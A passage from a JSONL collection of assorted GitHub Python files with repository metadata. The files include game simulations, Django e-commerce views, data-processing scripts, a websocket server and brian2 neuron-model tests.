\"__main__\":\n\n x_wins = 0\n o_wins = 0\n ties = 0\n\n for i in range(1000):\n x_player = RandomComputerPlayer('X')\n o_player = GeniusComputerPlayer('O')\n t = TicTacToe()\n result = play(t, x_player, o_player, print_game = False)\n\n if result == 'O':\n o_wins += 1\n elif result == 'X':\n x_wins += 1\n else:\n ties += 1\n\n print(f'After 1000 iterations, we see {x_wins} X wins, {o_wins} O wins, and {ties} ties.')","repo_name":"haianhng31/Unbeatable_AI_Tic-Tac-Toe","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"477385063","text":"import sys\nfrom ting_file_management.file_management import txt_importer\n\n\ndef process(path_file, instance):\n content = txt_importer(path_file)\n dict_content = {\n \"nome_do_arquivo\": path_file,\n \"qtd_linhas\": len(content),\n \"linhas_do_arquivo\": content,\n }\n\n for i in range(len(instance)):\n data = instance.search(i)\n if data == dict_content:\n return\n\n instance.enqueue(dict_content)\n print(dict_content, file=sys.stdout)\n\n\ndef remove(instance):\n if len(instance) == 0:\n return print(\"Não há elementos\", file=sys.stdout)\n file = instance.dequeue()\n removed_file = file[\"nome_do_arquivo\"]\n print(f\"Arquivo {removed_file} removido com sucesso\", file=sys.stdout)\n\n\ndef file_metadata(instance, position):\n if position < 0 or position >= len(instance):\n print(\"Posição inválida\", file=sys.stderr)\n return\n found_file = instance.search(position)\n print(found_file, file=sys.stdout)\n","repo_name":"GabrielFonseca13/TING_CS_Python","sub_path":"ting_file_management/file_process.py","file_name":"file_process.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17691650077","text":"from tastypie.fields import RelatedField, ApiField, NOT_PROVIDED\nfrom tastypie.resources import Bundle\n\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils.translation import ugettext_noop\n\nimport datetime\nimport re\n\nfrom django.utils import datetime_safe\n\nDATETIME_RE = re.compile(\"(?P[0-9]+)[^0-9](?P[0-9]+)[^0-9](?P[0-9]+)[^0-9]+(?P[0-9]+)[^0-9](?P[0-9]+)[^0-9](?P[0-9]+).*\")\n\nclass GMTDateTimeNaiveField(ApiField):\n \"\"\"\n A datetime field for naive Greenwich-based datetime values - returns iso-8601\n \"\"\"\n dehydrated_type = 'datetime'\n help_text = 'A GMT date & time as a string iso-8601. Ex: \"2010-11-10T03:07:43Z\"'\n\n def convert(self, value):\n if value is None:\n return None\n if isinstance(value,datetime.datetime):\n value = value.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n\n return value\n\n def hydrate(self, bundle):\n value = super(GMTDateTimeNaiveField, self).hydrate(bundle)\n\n if isinstance(value, basestring):\n match = DATETIME_RE.match(value)\n\n if match:\n data = match.groupdict()\n value = datetime_safe.datetime(\n int(data['year']),\n int(data['month']),\n int(data['day']),\n int(data['hour']),\n int(data['minute']),\n int(data['second'])\n )\n \n return value\n\nclass SetField(RelatedField):\n \"\"\"\n Provides access to related data via a join table (Pony ORM)\n\n This subclass requires Pony ORM layer to work properly.\n \"\"\"\n is_m2m = True\n help_text = 'Many related resources. Can be either a list of URIs or list of individually nested resource data.'\n\n def __init__(self, to, attribute, related_name=None, default=NOT_PROVIDED,\n null=False, blank=False, readonly=False, full=False,\n unique=False, help_text=None, use_in='all', full_list=True, full_detail=True):\n super(SetField, self).__init__(\n to, attribute, related_name=related_name, default=default,\n null=null, blank=blank, readonly=readonly, full=full,\n unique=unique, help_text=help_text, use_in=use_in,\n full_list=full_list, full_detail=full_detail\n )\n self.m2m_bundles = []\n\n def dehydrate(self, bundle, for_list=True):\n the_m2ms = None\n previous_obj = bundle.obj\n attr = self.attribute\n\n if isinstance(self.attribute, basestring):\n attrs = self.attribute.split('__')\n the_m2ms = bundle.obj\n\n for attr in attrs:\n previous_obj = the_m2ms\n #try:\n # the_m2ms = getattr(the_m2ms, attr, None)\n #except ObjectDoesNotExist:\n # the_m2ms = None\n the_m2ms = getattr(the_m2ms, attr)\n\n if not the_m2ms:\n break\n\n\n elif callable(self.attribute):\n the_m2ms = self.attribute(bundle)\n\n if not the_m2ms:\n if not self.null:\n raise ApiFieldError(\"The model '%r' has an empty attribute '%s' and doesn't allow a null value.\" % (previous_obj, attr))\n\n return []\n\n self.m2m_resources = []\n m2m_dehydrated = []\n\n for m2m in the_m2ms:\n m2m_resource = self.get_related_resource(m2m)\n m2m_bundle = Bundle(obj=m2m, request=bundle.request)\n self.m2m_resources.append(m2m_resource)\n m2m_dehydrated.append(self.dehydrate_related(m2m_bundle, m2m_resource, for_list=for_list))\n\n return m2m_dehydrated\n\n def hydrate(self, bundle):\n pass\n\n def hydrate_m2m(self, bundle):\n if self.readonly:\n return None\n\n # TODO: why the original code works? don't know a while\n # the EMPTY list differs from ABSENCE of list:\n # the EMPTY list leads to cleanup, while\n # the ABSENCE of list leads to leave the object set unchanged\n if bundle.data.get(self.instance_name) is None:\n return None\n\n m2m_hydrated = []\n\n for value in bundle.data.get(self.instance_name):\n if value is None:\n continue\n\n kwargs = {\n 'request': bundle.request,\n }\n\n if self.related_name:\n kwargs['related_obj'] = bundle.obj\n kwargs['related_name'] = self.related_name\n\n m2m_hydrated.append(self.build_related_resource(value, **kwargs))\n\n return m2m_hydrated\n","repo_name":"nnseva/tastypie_djony","sub_path":"tastypie_djony/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"17571651936","text":"# I did this one because i was curious what the actual problem was\r\n# the answer is that a simple iterative approach wasn't fast enough\r\n\r\nclass Solution(object):\r\n def myPow(self, x, n):\r\n \"\"\"\r\n :type x: float\r\n :type n: int\r\n :rtype: float\r\n \"\"\"\r\n if (n == 0):\r\n return 1\r\n\r\n if (n < 0):\r\n n = n * -1\r\n x = 1 / x\r\n\r\n if (n % 2 == 0):\r\n return self.myPow(x * x, int(n / 2))\r\n else:\r\n return x * self.myPow(x * x, int((n - 1) / 2))\r\n\r\nsol = Solution()\r\nprint(sol.myPow(3, 2))","repo_name":"greengatz/PracticeProblems","sub_path":"leetcode/50_pow.py","file_name":"50_pow.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40827070461","text":"from __future__ import annotations\n\nfrom typing import Set, ClassVar\n\nfrom .abstract.loader import AbstractLoader\nfrom .variable import Variable\n\n\nclass BaseConfig:\n frozen: bool\n _loader: AbstractLoader\n _variables: ClassVar[Set[Variable]]\n\n def __init__(self, loader: AbstractLoader, frozen: bool = True):\n \"\"\"\n Initializes config class.\n\n :param loader: loader that will be used to set values to variables of config object.\n :param frozen: prevents user from assigning any values directly\n to class instance. Object will be not modifiable after\n __post_init__ is called.\n :return: nothing.\n \"\"\"\n self.frozen = False\n\n for variable in self._variables:\n variable._set_value_from_loader(loader)\n\n self._loader = loader\n self.__post_init__()\n self.frozen: bool = frozen\n\n def __post_init__(self) -> None:\n \"\"\"\n Function with custom user actions for any purpose.\n\n :return: nothing.\n \"\"\"\n pass\n\n def __init_subclass__(cls, **kwargs) -> None:\n \"\"\"\n Function that collects all variables and loaders from inherited config.\n\n :kwargs: subclasses kwargs.\n :return: nothing.\n \"\"\"\n cls._variables = set()\n\n for key, value in cls.__dict__.items():\n if isinstance(value, Variable):\n cls._variables.add(value)\n\n def __setattr__(self, key, value):\n \"\"\"\n Assigns value to class under specific key.\n\n :param key: attribute key.\n :param value: attribute value.\n :return: nothing.\n \"\"\"\n is_frozen = getattr(self, \"frozen\", False)\n\n if key == 'frozen':\n super().__setattr__(key, value)\n\n elif not is_frozen:\n super().__setattr__(key, value)\n\n else:\n raise NotImplementedError(\n \"This instance can't have anything assigned\"\n )\n\n def save(self, include_defaults: bool = True) -> None:\n \"\"\"\n Saves updated variables values to some storage using\n AbstractLoader.dump method.\n\n :param include_defaults: if dump of config must include default values.\n :return: nothing.\n \"\"\"\n self._loader.dump(include_defaults)\n\n def __repr__(self):\n return self.__class__.__name__\n","repo_name":"Rud356/ConfigFramework","sub_path":"config_framework/types/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"18918793115","text":"# !/usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n'极宇舟天笔试题(2019.3.28)'\n\n\"\"\"\n请找出数组中的某个数,它的左侧数字相加之和等于右边\nhttps://my.oschina.net/fengcunhan/blog/214508\n\"\"\"\n\nclass Solution():\n def FndIndex(self, array):\n if not array or len(array) <= 0:\n return\n length = len(array)\n beg, end = 0, length-1\n index = length // 2\n total = sum(array)\n while index > beg and index < end:\n totalLeft = 0\n for i in array[:index]:\n totalLeft += i\n doubleValue = total - array[index]\n if totalLeft * 2 < doubleValue:\n beg = index\n index = index + (length - index) // 2\n elif totalLeft *2 > doubleValue:\n end = index\n index = beg + (index - beg) // 2\n else:\n return index\n return None\n\n# 测试:\ns = Solution()\nprint(s.FndIndex([6, 2, 4, 5, 3]))\nprint(s.FndIndex([12, 2, 4, 5, 3]))\nprint(s.FndIndex([6, 2, 4, 5, 12]))\nprint(s.FndIndex([6, 2, 4, 5, 4]))\nprint(s.FndIndex([1]))\nprint(s.FndIndex([]))\n","repo_name":"lxh1997zj/-offer_and_LeetCode","sub_path":"面试笔试/极宇舟天(2019.3.28)/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38885912598","text":"from pydub import AudioSegment\nfrom glob import iglob\n\nimport tensorflow as tf\nfrom scipy.fftpack import rfft, irfft\nfrom tensorflow.contrib.framework.python.ops import audio_ops\n\nDATA_FILES_MP3 = 'audio'\nDATA_FILES_WAV = 'audio_wav'\n\ndef convert_mp3_to_wav():\n index = 0\n for file in iglob(DATA_FILES_MP3 + '/*.mp3'):\n mp3_to_wav = AudioSegment.from_mp3(file)\n mp3_to_wav.export(DATA_FILES_WAV + '/' +\n str(index) + '.wav', format='wav')\n index += 1\n\n\n'''\ncurr_batch - The current batch of the training data we are looking at.\nsongs_per_batch - How songs we want to load in per batch\nsess - Our TensorFlow session object\n'''\ndef get_next_batch(curr_batch, songs_per_batch, sess):\n wav_arr_ch1 = []\n wav_arr_ch2 = []\n if (curr_batch) >= (len(file_arr)):\n curr_batch = 0\n\n start_position = curr_batch * songs_per_batch\n end_position = start_position + songs_per_batch\n for idx in range(start_position, end_position):\n audio_binary = tf.read_file(file_arr[idx])\n wav_decoder = audio_ops.decode_wav(\n audio_binary, desired_channels=2)\n\n sample_rate, audio = sess.run(\n [wav_decoder.sample_rate,\n wav_decoder.audio])\n audio = np.array(audio)\n\n # We want to ensure that every song we look at has the same\n # number of samples!\n if len(audio[:, 0]) != 5292000:\n continue\n\n wav_arr_ch1.append(rfft(audio[:,0]))\n wav_arr_ch2.append(rfft(audio[:,1]))\n print(\"Returning File: \" + file_arr[idx])\n\n return wav_arr_ch1, wav_arr_ch2, sample_rate","repo_name":"Yerren/GAN-Practice","sub_path":"AudioGan/AutoEncoder.py","file_name":"AutoEncoder.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34133831297","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView, DetailView, ListView, TemplateView\nfrom django.views import View\nfrom .models import Product, Order, OrderItem\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse_lazy\nfrom django.contrib import messages\n\n# Create your views here.\n\n\nclass ProductDetailView(DetailView):\n template_name = \"store/product_detail.html\"\n model = Product\n context_object_name = \"product\"\n\n # def get_queryset(self):\n # super().get_queryset()\n # product = Product.objects.filter(pk=self.kwargs[\"pk\"])\n # return product\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n product_id = self.kwargs[\"pk\"]\n print(f\"product_id: {self.object.id}\")\n product = Product.objects.get(pk=product_id)\n recently_viewed_products = None\n print(f\"pr {self.object}\")\n\n if \"recently_viewed\" in self.request.session:\n if product_id in self.request.session[\"recently_viewed\"]:\n self.request.session[\"recently_viewed\"].remove(\n product_id\n ) # later for removing item from cart\n\n products = Product.objects.filter(\n pk__in=self.request.session[\"recently_viewed\"]\n )\n recently_viewed_products = sorted(\n products,\n key=lambda x: self.request.session[\"recently_viewed\"].index(x.id),\n )\n self.request.session[\"recently_viewed\"].insert(0, product_id)\n if len(self.request.session[\"recently_viewed\"]) > 4:\n self.request.session[\"recently_viewed\"].pop()\n else:\n self.request.session[\"recently_viewed\"] = [product_id]\n self.request.session.modified = True\n context[\"recently_viewed_products\"] = recently_viewed_products\n return context\n\n\nclass ProductListView(ListView):\n model = Product\n template_name = \"store/product_list.html\"\n context_object_name = \"products\"\n\n def get_queryset(self):\n # Fetch the queryset from the parent get_queryset\n queryset = super().get_queryset()\n # Get the q GET parameter\n q = self.request.GET.getlist(\"category\")\n print(q)\n if q:\n # Return a filtered queryset\n sess = self.request.session\n print(f\"sess: {sess}\")\n res = queryset.filter(category__name__in=q)\n print(f\"res: {res}\")\n return res\n # Return the base queryset\n return queryset\n\n\nclass AddToCartView(View):\n \"\"\"\n if user is not logged in, item will be added to cart session using product_id.\n Once user logs in, items in session cart will be transferred to logged in user cart and\n session cart emptied.\n\n session cart should persist even after browser closure.\n\n \"\"\"\n\n def get(self, request, *args, **kwargs):\n product_id = self.kwargs[\"pk\"]\n product = Product.objects.get(pk=product_id)\n recently_viewed_products = None\n\n if self.request.user.is_authenticated:\n print(\"inside if user authenticated\")\n # old_item = OrderItem.objects.get(\n # customer=self.request.user, product=product\n # ) # this raises a DoesNotExit error if the object is not found and that causes\n old_item = OrderItem.objects.filter(\n customer=self.request.user, product=product, is_placed=False\n ).first()\n print(\"***** .before if old_items:\")\n if old_item:\n old_item.quantity += 1\n old_item.save()\n else:\n print(\"_-_-_ inside else: for new_items:\")\n new_item = OrderItem.objects.create(\n customer=self.request.user, product=product\n )\n new_item.save()\n\n elif \"recently_added\" in self.request.session:\n # if product_id in request.session[\"recently_added\"]:\n # request.session[\"recently_viewed\"].remove(product_id) # later for removing item from cart\n\n # products = Product.objects.filter(pk__in=request.session[\"recently_added\"])\n # recently_viewed_products = sorted(\n # products, key=lambda x: request.session[\"recently_added\"].index(x.id)\n # )\n self.request.session[\"recently_added\"].insert(0, product_id)\n # if len(request.session[\"recently_viewed\"]) > 5:\n # request.session[\"recently_viewed\"].pop()\n else:\n self.request.session[\"recently_added\"] = [product_id]\n # return HttpResponseRedirect(reverse_lazy(\"products:cart\"))\n\n self.request.session.modified = True\n\n # context = {\n # \"product\": product,\n # \"recently_viewed_products\": recently_viewed_products,\n # }\n # return render(request, \"store/cart.html\", context)\n message = \"successfully added to cart\"\n messages.info(self.request, message)\n return HttpResponseRedirect(reverse_lazy(\"products:cart_view\"))\n\n\nclass RemoveFromCartView(View):\n def get(self, request, *args, **kwargs):\n product_id = self.kwargs[\"pk\"]\n product = Product.objects.get(pk=product_id)\n recently_viewed_products = None\n\n if self.request.user.is_authenticated:\n item = OrderItem.objects.filter(\n customer=self.request.user, product=product\n ).first()\n if item:\n item.delete()\n elif \"recently_added\" in self.request.session:\n self.request.session[\"recently_added\"].remove(product_id)\n self.request.session.modified = True\n else:\n return HttpResponseRedirect(reverse_lazy(\"products:list\"))\n return HttpResponseRedirect(reverse_lazy(\"products:cart_view\"))\n\n\nclass CartView(TemplateView):\n \"\"\"\n if user is logged in, show user cart otherwise grab session cart\n \"\"\"\n\n template_name = \"store/cart.html\"\n # def get(self, request, *args, **kwargs):\n # # product_id = self.kwargs[\"pk\"]\n # # product = Product.objects.get(pk=product_id)\n # # recently_viewed_products = None\n # print(f\"request.sessions: {self.request.session['recently_added']}:\")\n # if self.request.user.is_authenticated:\n # print(\"CartView.get()\")\n # old_item = OrderItem.objects.filter(\n # customer=self.request.user, product=product\n # ).first()\n # if old_item:\n # old_item.quantity += 1\n # old_item.save()\n # else:\n # new_item = OrderItem.objects.create(\n # customer=self.request.user, product=product\n # )\n # new_item.save()\n\n # for id in self.request.session[\"recently_added\"]:\n # print(\"CartView.get().if\")\n # prod = Product.objects.get(pk=id)\n # if OrderItem.objects.filter(\n # customer=self.request.user, product=prod\n # ).first():\n # self.request.session[\"recently_added\"].remove(id)\n # else:\n # OrderItem.objects.create(customer=self.request.user, product=prod)\n # request.session.modified = True\n # # elif \"recently_added\" in self.request.session:\n\n # # self.request.session[\"recently_added\"].insert(0, product_id)\n # # else:\n # # self.request.session[\"recently_added\"] = [product_id]\n # print(\"outside for loop\")\n # return render(self.request, \"store/cart.html\")\n\n # request.session.modified = True\n # return HttpResponseRedirect(reverse_lazy(\"products:cart_view\"))\n\n def get_context_data(self, **kwargs):\n print(\"inside get_context_data\")\n context = super().get_context_data(**kwargs)\n products = None\n recently_added_products = None\n if self.request.user.is_authenticated:\n context[\"user_cart\"] = OrderItem.objects.filter(\n customer=self.request.user, is_placed=False\n )\n if \"recently_added\" in self.request.session:\n print(f\" self.request.session {self.request.session['recently_added']}\")\n if self.request.session[\"recently_added\"]:\n for id in self.request.session[\"recently_added\"]:\n print(\"for id in self.request.session['recently_added']:\")\n prod = Product.objects.get(pk=id)\n if OrderItem.objects.filter(\n customer=self.request.user, product=prod\n ).first():\n self.request.session[\"recently_added\"].remove(id)\n else:\n OrderItem.objects.create(\n customer=self.request.user, product=prod\n )\n print('about to delete \"recently_added\"')\n print(\n f\"before del request.session {self.request.session['recently_added']}\"\n )\n del self.request.session[\"recently_added\"]\n # print(\n # f\"after del request.session {[sess for sess in self.request.session]}\"\n # )\n self.request.session.modified = True\n if \"recently_added\" in self.request.session:\n print(\"if recently_added: \")\n products = Product.objects.filter(\n pk__in=self.request.session[\"recently_added\"]\n )\n else:\n print('adding self.request.session[\"recently_added\"]')\n self.request.session[\"recently_added\"] = []\n # return context\n if products:\n recently_added_products = sorted(\n products,\n key=lambda x: self.request.session[\"recently_added\"].index(x.id),\n )\n # request.session[\"recently_viewed\"].insert(0, product_id)\n\n context[\"products\"] = recently_added_products\n return context\n\n\n# def CheckoutView(request):\n\n# return HttpResponseRedirect(reverse_lazy(\"products:list\"))\n\n\nclass OrdersListView(ListView):\n template_name = \"store/order_summary.html\"\n context_object_name = \"orders\"\n\n def get_queryset(self):\n # queryset = super().get_queryset()\n return Order.objects.filter(customer=self.request.user).all()\n\n\nclass CheckoutView(ListView):\n \"\"\"\n once user clicks checkout:\n 1. log user in and redirect them to cart page\n 2. access the recently_viewed session:\n 3. iterate over its items and add them to your order model to create an order\n \"\"\"\n\n template_name = \"store/order_summary.html\"\n context_object_name = \"orders\"\n\n def get(self, request, *args, **kwargs):\n order = Order.objects.create(customer=self.request.user)\n items = OrderItem.objects.filter(\n customer=self.request.user, is_placed=False\n ).all()\n if items:\n for item in items:\n order.order_items.add(item)\n item.is_placed = True\n item.save()\n\n order.save()\n # return render(request, \"store/order_summary.html\")\n # return super().get(request, *args, **kwargs)\n message = \"successfully placed order\"\n messages.info(self.request, message)\n return HttpResponseRedirect(\n reverse_lazy(\"products:order_detail\", kwargs={\"pk\": order.id})\n )\n\n def get_queryset(self):\n # queryset = super().get_queryset()\n return Order.objects.filter(customer=self.request.user).all()\n\n\nclass OrderDetailView(View):\n # context_object_name = \"order\"\n\n def get(self, request, *args, **kwargs):\n order = Order.objects.get(pk=self.kwargs[\"pk\"], customer=self.request.user)\n context = {\"order\": order}\n return render(request, \"store/checkout_confirm.html\", context)\n\n\n# class ProductSearchListView(ListView):\n# model = Product\n","repo_name":"Rone10/ecommerce_store","sub_path":"store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1539262629","text":"import cv2\nimport numpy as np\nimport pandas as pd\n\nfl = pd.read_csv('./depth154.txt',header=None, delim_whitespace=True)\nrgb =cv2.imread('./rbg154.jpg')\nframe = np.array(fl.values)\n\nnearpoints = np.isfinite(frame)\nfarpoints = np.isnan(frame)\ngrey = cv2.cvtColor(rgb,cv2.COLOR_RGB2GRAY)\nmask = np.ones(np.shape(grey))\nmask[farpoints]=0\nmask = mask.astype(np.uint8)\n\n\n# Setup SimpleBlobDetector parameters.\nparams = cv2.SimpleBlobDetector_Params()\n\n# Change thresholds\nparams.minThreshold = 1\nparams.maxThreshold = 255\nparams.filterByArea = True\nparams.minArea = 400\nparams.filterByCircularity = False\nparams.filterByConvexity = True\nparams.minConvexity = 0.2\nparams.filterByInertia = True\nparams.minInertiaRatio = 0.01\n\n# Create a detector with the parameters\nrgb[farpoints] =0\ndetector = cv2.SimpleBlobDetector_create(params)\nkp = detector.detect(grey)\n\n#get rid of far away keypoints\nkpList = []\nfor i in range(len(kp)):\n if mask[int(kp[i].pt[1]),int(kp[i].pt[0])] != 0:\n kpList.append(kp[i])\nim_with_keypoints = cv2.drawKeypoints(rgb, kpList, np.array([]), (0,255,0), cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\ncv2.imshow('rgb',im_with_keypoints)\n#KpList is a list of keypoints. Keypoint is a class containing area and points\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"matt4530/depth-image-obstacle-detection","sub_path":"blobDetector.py","file_name":"blobDetector.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"19366067415","text":"class person:\n\n def __init__(self,name,age,gender,interest):\n self.name = name\n self.age = age\n self.gender = gender\n self.interest = ''.join(interest) \n\n def hellow(self):\n return f'Hellow my name is {self.name} and I am {self.age}. My interest are {self.interest}'\n\nperson = person('Ryan',30,'male',['being a hardarse, ',' agile and ', ' ssd hard drives '])\ngreeting = person.hellow()\n\nprint(greeting)\n\n","repo_name":"jbmasemza/object_orientated_programming","sub_path":"person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43613584910","text":"# Least Squares Linear Regression Program\n# Author: John A Chrin\n# Section: CS-171-A - FA 17-18\n# Lab Sec: 062\n\nimport sys\nimport csv\n\n# Begin program\nprint('Welcome to Linear Regression Generator')\ncsv_file = open(input(\"Enter File Name Containing Data :\"), 'r')\ntext = csv.reader(csv_file)\n\n# Read CSV into a list\nnum = []\nden = []\nfor row in text:\n x = row[0]\n den.append(x)\n y = row[1]\n num.append(y)\n\n# Remove titles\nnum.pop(0)\nden.pop(0)\n\n# Convert values of list into new floats list for decimal accuracy\nn = [float(y) for y in num]\nd = [float(x) for x in den]\n\n# Create regression formula\navgnum = sum(n) / len(n)\navgden = sum(d) / len(d)\n\nmnum = []\nmden = []\ni = 0\nwhile i < len(n):\n xnum = (n[i] - avgnum ) * (d[i] - avgden)\n xden = (d[i] - avgden) ** 2\n mnum.append(xnum)\n mden.append(xden)\n i += 1\n\n # Calculate the slope \"m\" and intercept \"b\"\nmnumsum = sum(mnum)\nmdensum = sum(mden)\nm = (mnumsum / mdensum)\nb = (avgnum - (m * avgden))\n\n # Ensure the print statement is positive\nif b < 0:\n print(\"The Linear Regression Line is y=\" + str(round(m, 5)) + \"*x-\" + str(b * (-1)) + \".\")\nelse:\n print(\"The Linear Regression Line is y=\" + str(round(m, 5)) + \"*x+\" + str(b) + \".\")\n\n# Average error\navgerr_list = []\nk = 0\nwhile k < len(n):\n avgerrval = m * d[k] + b\n error = n[k] - avgerrval\n if error < 0:\n error = error * (-1)\n avgerr_list.append(error)\n k+=1\navgerror = round((sum(avgerr_list) / len(avgerr_list)), 5)\n\nprint('Average Error for Known Values was +/-' + str(avgerror) + \".\" )\n\n# Standard error\nstderr_list = []\np = 0\nwhile p < len(n):\n stderr = (avgerr_list[p]) ** 2\n stderr_list.append(stderr)\n p+=1\n\nrealstderr = sum(stderr_list)\nmrealstderr = ((1 / (len(n) - 2)) * realstderr)\nrootstderr = round((mrealstderr ** (1 / 2)), 5)\n\nprint(\"Regression Standard Error for Known Values was \" + str(rootstderr) + \".\")\n\n# print('System ready to make predictions')\n# print('To quit, type \"exit \" as the year')\n# value = input('Enter Year:')","repo_name":"JohnChrin/Undergraduate","sub_path":"Python/LinearRegression/src/least_squares.py","file_name":"least_squares.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11973374447","text":"import asyncio\nimport json\nimport websockets\nfrom Listener import listener\n\nUSERS = set()\n\n\nasync def register(websocket):\n USERS.add(websocket)\n\n\nasync def unregister(websocket):\n USERS.remove(websocket)\n\n\nasync def server(websocket, path):\n # register(websocket) sends user_event() to websocket\n await register(websocket)\n try:\n\n async for message in websocket:\n data = json.loads(message)\n await listener(data, websocket)\n\n finally:\n await unregister(websocket)\n\n\nstart_server = websockets.serve(server, \"localhost\", 6789)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()\n\n","repo_name":"oilyshelf/shop4me_server","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36824380054","text":"import itertools\nimport os\n\nimport pytest\nfrom numpy.testing import assert_equal\n\nfrom brian2 import *\nfrom brian2.devices.device import reinit_and_delete\nfrom brian2.tests.utils import assert_allclose\n\ntry:\n import scipy\nexcept ImportError:\n scipy = None\n\n\nnumpy_needs_scipy = pytest.mark.skipif(\n # Using condition string, since we cannot yet know\n # prefs.codegen.target at module import time\n \"prefs.codegen.target == 'numpy' and not scipy\",\n reason=\"multi-compartmental models need scipy to run with numpy\",\n)\n\n\n@pytest.mark.codegen_independent\n@numpy_needs_scipy\ndef test_custom_events():\n # Set (could be moved in a setup)\n EL = -65 * mV\n gL = 0.0003 * siemens / cm**2\n ev = \"\"\"\n Im = gL * (EL - v) : amp/meter**2\n event_time1 : second\n \"\"\"\n # Create a three compartments morphology\n morpho = Soma(diameter=10 * um)\n morpho.dend1 = Cylinder(n=1, diameter=1 * um, length=10 * um)\n morpho.dend2 = Cylinder(n=1, diameter=1 * um, length=10 * um)\n G = SpatialNeuron(\n morphology=morpho, model=ev, events={\"event1\": \"t>=i*ms and t= neuron.diffusion_state_updater._starts[:].flat\n )\n\n # Check that length and distances make sense\n assert_allclose(sum(morpho.L.length), 10 * um)\n assert_allclose(morpho.L.distance, (0.5 + np.arange(10)) * um)\n assert_allclose(sum(morpho.LL.length), 5 * um)\n assert_allclose(morpho.LL.distance, (10 + 0.5 + np.arange(5)) * um)\n assert_allclose(sum(morpho.LR.length), 5 * um)\n assert_allclose(morpho.LR.distance, (10 + 0.25 + np.arange(10) * 0.5) * um)\n assert_allclose(sum(morpho.right.length), 3 * um)\n assert_allclose(morpho.right.distance, (0.5 + np.arange(7)) * 3.0 / 7.0 * um)\n assert_allclose(sum(morpho.right.nextone.length), 2 * um)\n assert_allclose(\n morpho.right.nextone.distance, 3 * um + (0.5 + np.arange(3)) * 2.0 / 3.0 * um\n )\n\n\n@pytest.mark.codegen_independent\ndef test_construction_coordinates():\n # Same as test_construction, but uses coordinates instead of lengths to\n # set up everything\n # Note that all coordinates here are relative to the origin of the\n # respective cylinder\n BrianLogger.suppress_name(\"resolution_conflict\")\n morpho = Soma(diameter=30 * um)\n morpho.L = Cylinder(x=[0, 10] * um, diameter=1 * um, n=10)\n morpho.LL = Cylinder(y=[0, 5] * um, diameter=2 * um, n=5)\n morpho.LR = Cylinder(z=[0, 5] * um, diameter=2 * um, n=10)\n morpho.right = Cylinder(\n x=[0, sqrt(2) * 1.5] * um, y=[0, sqrt(2) * 1.5] * um, diameter=1 * um, n=7\n )\n morpho.right.nextone = Cylinder(\n y=[0, sqrt(2)] * um, z=[0, sqrt(2)] * um, diameter=1 * um, n=3\n )\n gL = 1e-4 * siemens / cm**2\n EL = -70 * mV\n eqs = \"\"\"\n Im=gL*(EL-v) : amp/meter**2\n I : meter (point current)\n \"\"\"\n\n # Check units of currents\n with pytest.raises(DimensionMismatchError):\n SpatialNeuron(morphology=morpho, model=eqs)\n\n eqs = \"\"\"\n Im=gL*(EL-v) : amp/meter**2\n \"\"\"\n neuron = SpatialNeuron(\n morphology=morpho, model=eqs, Cm=1 * uF / cm**2, Ri=100 * ohm * cm\n )\n\n # Test initialization of values\n neuron.LL.v = EL\n assert_allclose(neuron.L.main.v, 0 * mV)\n assert_allclose(neuron.LL.v, EL)\n neuron.LL[1 * um : 3 * um].v = 0 * mV\n assert_allclose(neuron.LL.v, Quantity([EL, 0 * mV, 0 * mV, EL, EL]))\n assert_allclose(neuron.Cm, 1 * uF / cm**2)\n\n # Test morphological variables\n assert_allclose(neuron.L.main.x, morpho.L.x)\n assert_allclose(neuron.LL.main.x, morpho.LL.x)\n assert_allclose(neuron.right.main.x, morpho.right.x)\n assert_allclose(neuron.L.main.distance, morpho.L.distance)\n # assert_allclose(neuron.L.main.diameter, morpho.L.diameter)\n assert_allclose(neuron.L.main.area, morpho.L.area)\n assert_allclose(neuron.L.main.length, morpho.L.length)\n\n # Check basic consistency of the flattened representation\n assert all(\n neuron.diffusion_state_updater._ends[:].flat\n >= neuron.diffusion_state_updater._starts[:].flat\n )\n\n # Check that length and distances make sense\n assert_allclose(sum(morpho.L.length), 10 * um)\n assert_allclose(morpho.L.distance, (0.5 + np.arange(10)) 